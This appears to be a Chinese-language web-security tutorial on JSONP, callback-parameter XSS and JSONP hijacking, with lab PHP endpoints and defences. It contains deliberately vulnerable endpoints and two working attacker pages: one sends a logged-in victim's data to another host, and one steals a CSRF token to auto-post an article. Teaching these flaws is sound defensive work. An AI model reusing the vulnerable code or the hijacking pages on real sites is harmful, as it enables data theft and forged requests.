原文链接:https://xz.aliyun.com/t/12744
jsonp
jsonp可以理解为就是一种协议,准确点来说就是一种使用模式,是为了解决json受同源策略的问题。
JSON的基本语法为:callback({"name":"test", "msg":"success"})
常见的例子包括函数调用(如callback({"a":"b"}))或变量赋值(var a = {JSON data})
应用场景
json
假设172.27.31.188放一个test.json
1
| {username: "monkey111", password: "123456"}
|
这是172.27.31.188下面的html文件需要发送Ajax请求去访问这个test.json文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script> <title></title> </head> <body> <script> $.ajax({ url: 'http://172.27.31.188/test.json', type:"get", dataType: "json", success: function (data) { console.log(data);} }) </script> </body> </html>
|
因为此时html文件和test.json同域,所以html文件能够正常获取json文件的内容

然后将html放到本地,代码还是一样的,此时html与test.json不同域,这时去访问index.html,发现受同源策略的限制被拒绝

这个时候就要使用jsonp来解决这个问题了。
jsonp
jsonp简单来说,就是利用script标签的src属性能够跨域请求的原理来实现的。
因此只需将test.json中的内容按照JavaScript规范去规定,便可以实现跨域资源访问。只需要让目标页面回调本地页面的方法,并带入参数即可,这也就是jsonp的核心原理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script> <title></title> </head> <body> <script> function callback(data){ alert("name:"+data.username+" passwrod:"+data.password); } </script> <script src="http://172.27.31.188/test.json"></script> </body> </html>
|
在test.json中按照javascript代码规范调用callback函数,并将数据作为参数传入
1
| callback({ username: "monkey777", password: "123456" })
|
此时请求index.html,成功请求跨域json

jsonp跨域漏洞
jsonp跨域漏洞主要是callback自定义导致的XSS和jsonp劫持。
callback自定义导致xss
我们知道,在jsonp跨域中,我们是可以传入一个函数名的参数如callback,然后jsonp端点会根据我们的传参动态生成jsonp数据响应回来
如果jsonp端点对于用于传入的函数名参数callback处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。
1 2 3 4 5 6 7 8
| <?php if(isset($_GET['callback'])){ $callback = $_GET['callback']; print $callback.'({"username" : "monkey111", "password" : "123456"});'; } else { echo 'No callback param.'; } ?>
|
请求后触发XSS,此时发现php默认的Content-Type为text/html


其他Content-Type类型
经过测试后发现application/json、text/json、application/javascript、text/javascript等都不触发XSS
jsonp劫持
因为jsonp实现了跨域资源访问,如果获取的数据能够成为下一步操作的凭证,那么便可以引入jsonp劫持
demo1——窃取用户信息
设置模拟用户登录页面login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php error_reporting(0); session_start(); $name = $_GET['name']; $pwd = $_GET['pwd']; if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){ $_SESSION['name'] = $name; } if (isset($_GET['logout'])) { if ($_GET['logout'] === '1') { unset($_SESSION['name']); } } echo '<a href="http://127.0.0.1/info.php?callback=jsonp">用户信息</a><br>'; echo '<a href="http://127.0.0.1/main.php?logout=1">退出登录</a><br data-tomark-pass>'; if(!$_SESSION['name']){ echo '<html> <head> <title>登录</title> <meta charset="utf-8"> </head> <body> <form action="login.php" method="get"> 用户名:<input type="text" name="name"> 密码:<input type="password" name="pwd"> <input type="submit" name="submit" value="login"> </form> </body> </html>'; }else{ echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>"; } ?>
|
查询信息页面info.php
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php header('Content-type: application/json'); error_reporting(0); session_start(); $callback = $_GET['callback']; if($_SESSION['name'] === 'admin'){ echo $callback."({'id':1,'name':'Sentiment'})"; } elseif($_SESSION['name'] === 'guest') { echo $callback."({'id':2,'name':'guest'})"; } else { echo $callback."获取个人信息失败"; } ?>
|
当用户登录后,访问info.php可以查询到自己的信息,此时构造恶意html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <html> <head> <title>lol</title> <meta charset="utf-8"> </head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script> function jsonp_hack(v){ alert("JSONP hijacking"); var h = ''; for(var key in v){ var a = ''; a = key + ' : ' + v[key] + ' ,'; h += a; } alert(h); $.get('http://192.168.117.1/index.html?value='+h); } </script> <script src="http://192.168.117.1/info.php?callback=jsonp_hack"></script> <body> </body> </html>
|
引导用户访问后成功被jsonp劫持

demo2——劫持token
下面的案例模拟通过jsonp劫持窃取token来发表文章的情形。
add_article.php,放到目标服务器(192.168.117.134)中,功能是发表文章,前提是token值成功校验通过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php if(!empty($_POST['token'])){ $csrf_token = $_POST['token']; $title = $_POST['title']; $content = $_POST['content']; if ($csrf_token === 'jsonp_test') { echo '文章发表成功~'.'</br>'; echo $title.'</br>'; echo $content; } else { echo 'csrf token error'; } } else { echo 'no token'; } ?>
|
token.php
1 2 3 4 5 6 7 8 9
| <?php header('Content-type: application/json'); if(isset($_GET['callback'])){ $callback = $_GET['callback']; print $callback.'({"username" : "moneky111", "password" : "123456", "token" : "jsonp_test"});'; } else { echo 'No callback param.'; } ?>
|
attack.html(放在192.168.117.133上)
攻击者用于诱使用户访问的文件,放在攻击者服务器中,用于访问目标jsonp端点获取token之后,再带上token值想目标服务器的add_article.php发起请求来发表文章:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <html> <head> <title>JSONP Hijacking</title> <meta charset="utf-8"> </head> <body> <form action="http://192.168.117.134/add_article.php" method="POST" id="csrfsend"> <input type="hidden" name="content" value="Hacked by Sentiment!"> <input type="hidden" name="title" value="Oops!"> <input type="hidden" id="token" name="token" value=""> </form> <script type="text/javascript"> function exp(obj){ console.log(obj); var token = obj["token"]; document.getElementById("token").value = token; document.getElementById("csrfsend").submit(); } </script> <script type="text/javascript" src="http://192.168.117.134/token.php?callback=exp"></script> </body> </html>
|
访问192.168.117.133/attack.html,会跳转到http://192.168.117.134/add_article.php进行访问

防御
- 若可行,则使用CORS替换JSONP实现跨域功能;
- 应用CSRF防御措施来调用JSON文件:显示Referer、部署token等;
- 严哥设置Content-Type及编码(Content-Type: application/json; charset=utf-8)
- 把回调函数加入到白名单